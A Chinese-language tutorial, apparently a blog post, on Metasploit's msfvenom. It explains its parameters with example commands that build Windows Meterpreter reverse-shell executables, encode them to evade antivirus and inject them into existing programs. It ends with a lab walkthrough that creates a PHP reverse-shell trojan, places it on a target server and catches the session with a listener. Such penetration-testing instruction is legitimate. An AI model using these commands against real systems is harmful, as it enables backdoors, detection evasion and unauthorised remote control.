Msfvenom 是 Metasploit Framework 的一个非常强大的工具,它结合了之前 msfpayload 和 msfencode 的功能,用于生成各种类型的 Payloads,包括但不限于 shellcode、恶意文件、恶意链接等。Msfvenom 可以帮助渗透测试人员创建自定义的 Payloads,以用于渗透测试、漏洞利用和红队行动中。
Msfvenom 的主要功能包括:
- 生成后门:Msfvenom 可以用来生成后门软件,这些后门在目标机上执行后,可以在本地监听上线,实现对目标机器的控制。
- 支持全平台:Msfvenom 支持多种操作系统,包括 Windows、Linux、macOS、Android 等。
- 自定义 Payload:用户可以根据自己的需求,定制化生成 Payload,包括设置特定的 Payload 类型、编码器、架构、平台等。
- 编码和避过检测:Msfvenom 还可以用来对 Payload 进行编码,以避免被防病毒软件检测到。
以下是 Msfvenom 的一些基本参数和它们的使用说明:
-
-p
或--payload
:指定使用的 Payload,例如windows/meterpreter/reverse_tcp
。这是生成 Payload 时必须指定的参数。- 例子:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<Port> -f exe -o payload.exe
- 例子:
-f
或 --format
:指定输出格式,如 exe
、elf
、aspx
等。这个参数决定了生成的 Payload 文件类型。
- 例子:
msfvenom -p windows/meterpreter/reverse_tcp -f exe -o payload.exe
-e
或 --encoder
:指定编码器,用于编码 Payload 以绕过某些安全检测,如 x86/shikata_ga_nai
。
- 例子:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai LHOST=<IP> LPORT=<Port> -f exe -o payload.exe
-a
或 --arch
:指定目标系统的架构,如 x86
、x64
。
- 例子:
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<Port> -f exe -o payload.exe
--platform
:指定目标平台,如 windows
、linux
。
- 例子:
msfvenom -platform windows -a x86 -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<Port> -f exe -o payload.exe
-o
或 --out
:指定输出文件的路径和名称。
- 例子:
msfvenom -p windows/meterpreter/reverse_tcp -f exe -o payload.exe
-b
或 --bad-chars
:指定需要避免的字符,这些字符可能会导致 Payload 在某些环境中无法正常执行。
- 例子:
msfvenom -p windows/meterpreter/reverse_tcp -b '\x00\xff' LHOST=<IP> LPORT=<Port> -f exe -o payload.exe
-i
或 --iterations
:指定编码 Payload 的次数,增加编码次数可以提高 Payload 的隐蔽性,但可能会增加文件大小。
- 例子:
msfvenom -p windows/meterpreter/reverse_tcp -i 3 LHOST=<IP> LPORT=<Port> -f exe -o payload.exe
-x
或 --template
:指定一个现有的可执行文件作为模板,将 Payload 注入到该文件中。
- 例子:
msfvenom -p windows/meterpreter/reverse_tcp -x /path/to/template.exe -k LHOST=<IP> LPORT=<Port> -f exe -o payload.exe
-
-k
或--keep
:保持模板文件的行为,并将 Payload 注入为一个新线程。
这些参数可以组合使用,以生成适合特定渗透测试场景的 Payload。例如,如果你需要生成一个 Windows 平台的 Meterpreter 反向 TCP Shell,并且希望输出为 exe 格式的文件,你可以使用以下命令:
bash
在实际使用中,你可能需要根据目标环境和安全要求调整这些参数。例如,为了绕过某些安全软件的检测,你可能会使用不同的编码器或避免使用特定的字符。通过熟练掌握这些参数,你可以更有效地利用 Msfvenom 进行渗透测试和安全评估。
使用msfvenom生成php木马文件
sfvenom -p php/meterpreter/reverse_tcp lhost=192.168.25.129 lport=4444 -f raw > /root/hacker.php
目标主机中安装phpstudy集成环境,并将木马文件放置在集成环境根目录
回到kali
进入msfconsole渗透测试模块
使用exploit/multi/handler模块进行攻击测试
设置相应参数
开启监听
回到靶机中运行php页面
我们可以看到攻击主机已经对靶机进行了监控
接下来可以按照个人需求进行进一步的利用靶机